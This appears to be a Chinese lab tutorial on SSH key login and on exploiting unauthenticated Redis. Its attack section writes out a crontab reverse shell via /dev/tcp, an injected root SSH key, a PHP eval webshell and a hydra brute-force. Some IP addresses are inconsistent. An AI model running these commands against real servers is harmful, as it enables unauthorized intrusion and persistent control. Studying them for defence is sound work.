文章目录
SSH免登录
linux间SSH免登录
客户端:192.168.100.137 ==> 用于生成公钥私钥
服务端:192.168.100.134 ==> 用于接收公钥
-
客户端生成公私钥
ssh-keygen -t rsa
-
上传公钥到服务器
ssh-copy-id guest@192.168.100.134
-
登录(失败则需确认权限)
ssh root@192.168.100.134
SSH两种验证方式的原理
密码验证方式的原理
- 当客户端发起ssh请求,服务器会把自己的公钥发送给用户
- 用户会根据服务器发来的公钥对密码进行加密
- 加密后的信息回传给服务器,服务器用自己的私钥解密,如果密码正确,则用户登录成功
公钥验证方式的原理
-
首先在客户端生成密钥对,并将客户端的公钥拷贝到服务端的authorized_keys目录下
-
当客户端发起ssh请求,服务端会随机生成一个字符串,并使用客户端拷贝过来的公钥进行加密,然后发送给客户端
-
客户端得到服务端发来的消息后,会使用私钥进行解密,然后将解密后的字符串发送给服务端
-
服务端接受到客户端发来的字符串后,跟之前的字符串进行对比,如果一致,就允许免密码登录
xshell使用公私钥连接kali(windows->linux)
-
打开xshell,选择工具,选择新建用户密钥生成向导
-
密钥类型选择RSA,密钥长度选择4096,长度稍大一点更加安全
-
密钥生成成功,先择下一步
-
密钥名称建议改成authorized_keys,之后的密钥可以不输,这里的密码是给密钥加密使用的,点击完成
-
根据图中顺序将公钥保存至本地,保存时将后面的.pub去掉
-
使用lrzsz命令上传至服务器或使用xftp,这里使用xftp
-
将公钥拉至服务器的.ssh目录(没有目录则创建一个),并右击选择更改权限
-
给authorized_keys文件600权限,.ssh目录700权限
-
使用xshell连接服务器,选择公钥连接,输入密钥密码,之上设置没有加密码的可以不写
-
登录成功
REDIS未授权访问
redis介绍
Redis是一个开源的使用ANSI C语言编写、支持网络、可基于内存亦可持久化的日志型、Key-Value数据库,并提供多种语言的API。从2010年3月15日起,Redis的开发工作由VMware主持。从2013年5月开始,Redis的开发由Pivotal赞助。
Redis因配置不当可以未授权访问。攻击者无需认证访问到内部数据,可导致敏感信息泄露,也可以恶意执行flushall来清空所有数据。
攻击者可通过EVAL执行lua代码,或通过数据备份功能往磁盘写入后门文件。
如果Redis以root身份运行,可以给root账户写入SSH公钥文件,直接通过SSH登录受害服务器。
安装redis
环境:centOS7
yum install -y wget && wget http://download.redis.io/releases/redis-3.2.0.tar.gz #安装wget命令并拉取redis安装包
tar -zxvf redis-3.2.0.tar.gz #解压安装包
cd redis-3.2.0 #进入编译包
yum install -y gcc #安装gcc编译环境
make #编译(或make MALLOC=libc)
vim redis.conf #修改配置文件,使可以远程访问,建议修改之前备份
bind 127.0.0.1 前面加上#号
protected-mode 设为no
redis-server redis.conf #重新加载配置文件
#redis-3.2.0目录下,将运行命令放置用户系统命令
cp src/redis-cli /usr/bin && cp src/redis-server /usr/bin
#启动redis-server
redis-cli -h 192.168.100.137
#若不放置用户系统命令
#需要在redis-3.2.0/src目录下,运行命令 ./redis-cli -h 192.168.63.130
默认的配置是使用6379端口,没有密码。这时候会导致未授权访问然后使用redis权限写文件
redis基本命令
-
连接redis:
redis-cli -h 192.168.100.137
-
查看redis版本信息、一些具体信息、服务器版本信息等等:
192.168.100.137:6379>info
-
将变量x的值设为test:
192.168.100.137:6379>set x "test"
-
是把整个redis数据库删除,一般情况下不要用!!!
192.168.100.137:6379>flushall
-
查看所有键:
192.168.100.137:6379>KEYS *
-
获取默认的redis目录、和rdb文件名:可以在修改前先获取,然后走的时候再恢复。
192.168.100.137:6379>CONFIG GET dir
192.168.100.137:6379>CONFIG GET dbfilename
攻击方法
帮助:https://www.freebuf.com/column/158065.html
攻击机:192.168.100.134 ==>kali
redis服务器:192.168.100.137 ==> miniCentOS7
首先nmap扫描服务器开启端口
利用计划任务执行命令反弹shell
在redis以root权限运行时可以写crontab来执行命令反弹shell
先在自己的服务器上监听一个端口
nc -lvnp 4444
然后执行命令:
root@kali:~# redis-cli -h 192.168.100.137
192.168.100.137:6379> set x "\n* * * * * bash -i >& /dev/tcp/192.168.100.137/4444 0>&1\n"
OK
192.168.100.137:6379> config set dir /var/spool/cron/
OK
192.168.100.137:6379> config set dbfilename root
OK
192.168.100.137:6379> save
OK
nc监听端口已经反弹回来shell
写ssh-keygen公钥然后使用私钥登陆
在以下条件下,可以利用此方法
- Redis服务使用ROOT账号启动
- 服务器开放了SSH服务,而且允许使用密钥登录,即可远程写入一个公钥,直接登录远程服务器。
首先在本地生成一对密钥:
root@kali:~/.ssh# ssh-keygen -t rsa
然后redis执行命令:
192.168.100.134:6379> config set dir /root/.ssh/
OK
192.168.100.134:6379> config set dbfilename authorized_keys
OK
192.168.100.134:6379> set x "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDSKUq5XlxrvgJm/Akt7sj9aiKySVcgVrvlhrvD9++LK0tIA6MRdVwguWmoK1P1ftFsrx/9HJ0UNfqBt9csCMBn7KdnTEZH0rQvmoVHShmwsqZcOMMZ9/W/B0jFdN6F2mYhlIKWMuC1edd7j4U6mLHR4rwLmsflW/4HbRzZuuzgAEQtJUOo3SvIF59DXiF3ww8FPZtC1fDJm+u/I8N87M8LfPP7qrmIniEx0b28y3e2+dreAJZGqJSc/a6D3EFnZPRBfNzp7xeIBJo3kk9bnU3N8uFO7Uyf4cv/ecwWK3663YxjuFuccm/SUp+ZQakabjIZ+3Cz+uzdztM3YdWW6VdTe1Sw/mfKaWM3C8CObj0Uy3v9JsVzUj4HLbVAstaCc6DeHA5r4cxrfN3OKGxsLci2cU/95fSfkdENL2XwM29Qvbh0NSkkTQKDLuOIsvJFBWYMm2ic8BFzwwWbWYxhEwocakujj3nvnqmLIWtRhMjH2LdHzXAT6iC81bekux5eZrc= guest@kali"
OK
192.168.100.134:6379> save
OK
save后可以直接利用公钥登录ssh
ssh -i id_rsa root@192.168.100.137
往web物理路径写webshell
测试环境:apache
当redis权限不高时,并且服务器开着web服务,在redis有web目录写权限时,可以尝试往web路径写webshell
执行以下命令
192.168.100.137:6379> config set dir /var/www/html/
OK
192.168.100.137:6379> config set dbfilename shell.php
OK
192.168.100.137:6379> set x "\n\n\n<?php @eval($_POST['passwd']);?>\n\n\n"
OK
192.168.100.137:6379> save
OK
即可将shell写入web目录(web目录根据实际情况)
蚁剑连接
利用hydra暴力破解redis的密码
使用hydra工具可以对redis进行暴力破解
hydra -P passwd.txt redis://192.168.152.128
安全配置
- 限制登录ip
- 添加密码
- 修改默认端口